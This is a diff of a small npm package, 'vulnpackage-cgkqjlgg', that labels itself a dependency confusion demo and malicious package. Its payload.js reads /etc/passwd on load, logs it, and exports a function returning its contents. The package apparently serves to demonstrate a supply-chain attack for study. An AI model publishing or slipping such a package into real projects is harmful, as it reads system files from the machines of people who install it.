vulnpackage-cgkqjlgg 1.0.2

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "vulnpackage-cgkqjlgg",
+  "version": "1.0.2",
+  "description": "Dependency confusion demo, malicious package",
+  "main": "payload.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "Richard Appleby",
+  "license": "ISC"
+}

package/payload.js

@@ -0,0 +1,15 @@
+//payload.js
+// get filesystem module
+const fs = require("fs");
+
+// using the readFileSync() function
+// and passing the path to the file
+const buffer = fs.readFileSync("/etc/passwd");
+
+console.log(buffer);
+
+function getName() {
+  return buffer.toString();
+}
+
+module.exports = {str:'World',func:getName};